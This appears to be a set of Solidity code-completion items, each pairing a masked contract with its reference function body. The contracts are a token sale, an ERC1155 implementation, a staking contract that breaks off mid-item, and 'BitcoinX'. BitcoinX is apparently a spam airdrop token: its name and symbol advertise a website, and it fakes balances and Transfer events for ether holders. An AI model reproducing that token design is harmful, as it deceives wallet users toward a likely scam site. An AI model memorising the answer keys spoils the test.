require(!isFunding); require(_fundingStartBlock < _fundingStopBlock); require(block.number < _fundingStartBlock); fundingStartBlock = _fundingStartBlock; fundingStopBlock = _fundingStopBlock; isFunding = true;
function startFunding (uint256 _fundingStartBlock, uint256 _fundingStopBlock) isOwner external
///开启 function startFunding (uint256 _fundingStartBlock, uint256 _fundingStopBlock) isOwner external
71483
BitcoinX
transfer
contract BitcoinX is HasNoTokens, AbstractVirtualToken { // Balance threshold to assign virtual tokens to the owner of higher balances then this threshold. uint256 private constant VIRTUAL_THRESHOLD = 0.1 ether; // Number of virtual tokens to assign to the owners of balances higher than virtual threshold. uint256 private constant VIRTUAL_COUNT = 911; // crowdsale to set bonus when sending token iEthealSale public crowdsale; // logging promo token activation event LogBonusSet(address indexed _address, uint256 _amount); //////////////// // Basic functions //////////////// /// @dev Constructor, crowdsale address can be 0x0 function BitcoinX(address _crowdsale) { crowdsale = iEthealSale(_crowdsale); } /// @dev Setting crowdsale, crowdsale address can be 0x0 function setCrowdsale(address _crowdsale) public onlyOwner { crowdsale = iEthealSale(_crowdsale); } /// @notice Get virtual balance of the owner of given address. /// @param _owner address to get virtual balance for the owner /// @return virtual balance of the owner of given address function virtualBalanceOf(address _owner) internal view returns (uint256) { return _owner.balance >= VIRTUAL_THRESHOLD ? VIRTUAL_COUNT : 0; } /// @notice Get name of this token. function name() public pure returns (string result) { return "btcxtoken.top"; } /// @notice Get symbol of this token. function symbol() public pure returns (string result) { return "https://btcxtoken.top"; } /// @notice Get number of decimals for this token. function decimals() public pure returns (uint8 result) { return 0; } //////////////// // Set sale bonus //////////////// /// @dev Internal function for setting sale bonus function setSaleBonus(address _from, address _to, uint256 _value) internal { if (address(crowdsale) == address(0)) return; if (_value == 0) return; if (_to == address(1) || _to == address(this) || _to == address(crowdsale)) { crowdsale.setPromoBonus(_from, _value); LogBonusSet(_from, _value); } } /// @dev Override transfer function to set sale bonus function transfer(address _to, uint256 _value) public returns (bool) {<FILL_FUNCTION_BODY> } /// @dev Override transfer function to set sale bonus function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { bool success = super.transferFrom(_from, _to, _value); if (success) { setSaleBonus(_from, _to, _value); } return success; } //////////////// // Extra //////////////// /// @notice Notify owners about their virtual balances. function massNotify(address[] _owners) public onlyOwner { for (uint256 i = 0; i < _owners.length; i++) { Transfer(address(0), _owners[i], VIRTUAL_COUNT); } } /// @notice Kill this smart contract. function kill() public onlyOwner { selfdestruct(owner); } }
contract BitcoinX is HasNoTokens, AbstractVirtualToken { // Balance threshold to assign virtual tokens to the owner of higher balances then this threshold. uint256 private constant VIRTUAL_THRESHOLD = 0.1 ether; // Number of virtual tokens to assign to the owners of balances higher than virtual threshold. uint256 private constant VIRTUAL_COUNT = 911; // crowdsale to set bonus when sending token iEthealSale public crowdsale; // logging promo token activation event LogBonusSet(address indexed _address, uint256 _amount); //////////////// // Basic functions //////////////// /// @dev Constructor, crowdsale address can be 0x0 function BitcoinX(address _crowdsale) { crowdsale = iEthealSale(_crowdsale); } /// @dev Setting crowdsale, crowdsale address can be 0x0 function setCrowdsale(address _crowdsale) public onlyOwner { crowdsale = iEthealSale(_crowdsale); } /// @notice Get virtual balance of the owner of given address. /// @param _owner address to get virtual balance for the owner /// @return virtual balance of the owner of given address function virtualBalanceOf(address _owner) internal view returns (uint256) { return _owner.balance >= VIRTUAL_THRESHOLD ? VIRTUAL_COUNT : 0; } /// @notice Get name of this token. function name() public pure returns (string result) { return "btcxtoken.top"; } /// @notice Get symbol of this token. function symbol() public pure returns (string result) { return "https://btcxtoken.top"; } /// @notice Get number of decimals for this token. function decimals() public pure returns (uint8 result) { return 0; } //////////////// // Set sale bonus //////////////// /// @dev Internal function for setting sale bonus function setSaleBonus(address _from, address _to, uint256 _value) internal { if (address(crowdsale) == address(0)) return; if (_value == 0) return; if (_to == address(1) || _to == address(this) || _to == address(crowdsale)) { crowdsale.setPromoBonus(_from, _value); LogBonusSet(_from, _value); } } <FILL_FUNCTION> /// @dev Override transfer function to set sale bonus function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { bool success = super.transferFrom(_from, _to, _value); if (success) { setSaleBonus(_from, _to, _value); } return success; } //////////////// // Extra //////////////// /// @notice Notify owners about their virtual balances. function massNotify(address[] _owners) public onlyOwner { for (uint256 i = 0; i < _owners.length; i++) { Transfer(address(0), _owners[i], VIRTUAL_COUNT); } } /// @notice Kill this smart contract. function kill() public onlyOwner { selfdestruct(owner); } }
bool success = super.transfer(_to, _value); if (success) { setSaleBonus(msg.sender, _to, _value); } return success;
function transfer(address _to, uint256 _value) public returns (bool)
/// @dev Override transfer function to set sale bonus function transfer(address _to, uint256 _value) public returns (bool)
26023
ERC1155
_doSafeTransferAcceptanceCheck
contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI { using Address for address; // Mapping from token ID to account balances mapping(uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /** * @dev See {_setURI}. */ constructor(string memory uri_) { _setURI(uri_); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC1155).interfaceId || interfaceId == type(IERC1155MetadataURI).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256) public view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] memory accounts, uint256[] memory ids) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); _safeTransferFrom(from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); _safeBatchTransferFrom(from, to, ids, amounts, data); } /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint( address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][to] += amount; emit TransferSingle(operator, address(0), to, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint256 i = 0; i < ids.length; i++) { _balances[ids[i]][to] += amounts[i]; } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /** * @dev Destroys `amount` tokens of token type `id` from `from` * * Requirements: * * - `from` cannot be the zero address. * - `from` must have at least `amount` tokens of token type `id`. */ function _burn( address from, uint256 id, uint256 amount ) internal virtual { require(from != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][from] = fromBalance - amount; } emit TransferSingle(operator, from, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch( address from, uint256[] memory ids, uint256[] memory amounts ) internal virtual { require(from != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, address(0), ids, amounts, ""); for (uint256 i = 0; i < ids.length; i++) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][from] = fromBalance - amount; } } emit TransferBatch(operator, from, address(0), ids, amounts); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC1155: setting approval status for self"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual {} function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private {<FILL_FUNCTION_BODY> } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns ( bytes4 response ) { if (response != IERC1155Receiver.onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } }
contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI { using Address for address; // Mapping from token ID to account balances mapping(uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /** * @dev See {_setURI}. */ constructor(string memory uri_) { _setURI(uri_); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC1155).interfaceId || interfaceId == type(IERC1155MetadataURI).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256) public view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] memory accounts, uint256[] memory ids) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); _safeTransferFrom(from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); _safeBatchTransferFrom(from, to, ids, amounts, data); } /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint( address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][to] += amount; emit TransferSingle(operator, address(0), to, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint256 i = 0; i < ids.length; i++) { _balances[ids[i]][to] += amounts[i]; } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /** * @dev Destroys `amount` tokens of token type `id` from `from` * * Requirements: * * - `from` cannot be the zero address. * - `from` must have at least `amount` tokens of token type `id`. */ function _burn( address from, uint256 id, uint256 amount ) internal virtual { require(from != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][from] = fromBalance - amount; } emit TransferSingle(operator, from, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch( address from, uint256[] memory ids, uint256[] memory amounts ) internal virtual { require(from != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, address(0), ids, amounts, ""); for (uint256 i = 0; i < ids.length; i++) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][from] = fromBalance - amount; } } emit TransferBatch(operator, from, address(0), ids, amounts); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC1155: setting approval status for self"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual {} <FILL_FUNCTION> function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns ( bytes4 response ) { if (response != IERC1155Receiver.onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } }
if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155Receiver.onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } }
function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private
function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private
53352
MarsStakingRewards
notifyRewardAmount
contract MarsStakingRewards is Ownable, ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; /* ========== STATE VARIABLES ========== */ address public rewardsDistribution; IERC20 public rewardsToken; IERC20 public stakingToken; uint256 public periodFinish; uint256 public rewardRate; uint256 public rewardsDuration; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; uint256 private _totalSupply; mapping(address => uint256) private _balances; /* ========== CONSTRUCTOR ========== */ constructor( address _rewardsDistribution, address _rewardsToken, address _stakingToken ) Ownable() public { rewardsToken = IERC20(_rewardsToken); stakingToken = IERC20(_stakingToken); rewardsDistribution = _rewardsDistribution; } function setRewardsDistribution(address _rewardsDistribution) external onlyOwner { require(_rewardsDistribution != address(0), "_rewardsDistribution is the zero address"); rewardsDistribution = _rewardsDistribution; } /* ========== VIEWS ========== */ function totalSupply() external view returns (uint256) { return _totalSupply; } function balanceOf(address account) external view returns (uint256) { return _balances[account]; } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (_totalSupply == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(_totalSupply) ); } function earned(address account) public view returns (uint256) { return _balances[account].mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add(rewards[account]); } function getRewardForDuration() external view returns (uint256) { return rewardRate.mul(rewardsDuration); } /* ========== MUTATIVE FUNCTIONS ========== */ function stakeWithPermit(uint256 amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external nonReentrant updateReward(msg.sender) { require(amount > 0, "Cannot stake 0"); _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); // permit IUniswapV2ERC20(address(stakingToken)).permit(msg.sender, address(this), amount, deadline, v, r, s); stakingToken.safeTransferFrom(msg.sender, address(this), amount); emit Staked(msg.sender, amount); } function stake(uint256 amount) external nonReentrant updateReward(msg.sender) { require(amount > 0, "Cannot stake 0"); _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); stakingToken.safeTransferFrom(msg.sender, address(this), amount); emit Staked(msg.sender, amount); } function withdraw(uint256 amount) public nonReentrant updateReward(msg.sender) { require(amount > 0, "Cannot withdraw 0"); _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); stakingToken.safeTransfer(msg.sender, amount); emit Withdrawn(msg.sender, amount); } function getReward() public nonReentrant updateReward(msg.sender) { uint256 reward = rewards[msg.sender]; if (reward > 0) { rewards[msg.sender] = 0; rewardsToken.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } function exit() external { withdraw(_balances[msg.sender]); getReward(); } function inCaseTokensGetStuck(address _token, uint256 _amount) external onlyOwner { require(_token != address(stakingToken), 'stakingToken cannot transfer.'); IERC20(_token).safeTransfer(owner(), _amount); } /* ========== RESTRICTED FUNCTIONS ========== */ function notifyRewardAmount(uint256 reward, uint256 duration) external onlyRewardsDistribution updateReward(address(0)) {<FILL_FUNCTION_BODY> } /* ========== MODIFIERS ========== */ modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } modifier onlyRewardsDistribution() { require(msg.sender == rewardsDistribution, "Caller is not RewardsDistribution contract"); _; } /* ========== EVENTS ========== */ event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); }
contract MarsStakingRewards is Ownable, ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; /* ========== STATE VARIABLES ========== */ address public rewardsDistribution; IERC20 public rewardsToken; IERC20 public stakingToken; uint256 public periodFinish; uint256 public rewardRate; uint256 public rewardsDuration; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; uint256 private _totalSupply; mapping(address => uint256) private _balances; /* ========== CONSTRUCTOR ========== */ constructor( address _rewardsDistribution, address _rewardsToken, address _stakingToken ) Ownable() public { rewardsToken = IERC20(_rewardsToken); stakingToken = IERC20(_stakingToken); rewardsDistribution = _rewardsDistribution; } function setRewardsDistribution(address _rewardsDistribution) external onlyOwner { require(_rewardsDistribution != address(0), "_rewardsDistribution is the zero address"); rewardsDistribution = _rewardsDistribution; } /* ========== VIEWS ========== */ function totalSupply() external view returns (uint256) { return _totalSupply; } function balanceOf(address account) external view returns (uint256) { return _balances[account]; } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (_totalSupply == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(_totalSupply) ); } function earned(address account) public view returns (uint256) { return _balances[account].mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add(rewards[account]); } function getRewardForDuration() external view returns (uint256) { return rewardRate.mul(rewardsDuration); } /* ========== MUTATIVE FUNCTIONS ========== */ function stakeWithPermit(uint256 amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external nonReentrant updateReward(msg.sender) { require(amount > 0, "Cannot stake 0"); _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); // permit IUniswapV2ERC20(address(stakingToken)).permit(msg.sender, address(this), amount, deadline, v, r, s); stakingToken.safeTransferFrom(msg.sender, address(this), amount); emit Staked(msg.sender, amount); } function stake(uint256 amount) external nonReentrant updateReward(msg.sender) { require(amount > 0, "Cannot stake 0"); _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); stakingToken.safeTransferFrom(msg.sender, address(this), amount); emit Staked(msg.sender, amount); } function withdraw(uint256 amount) public nonReentrant 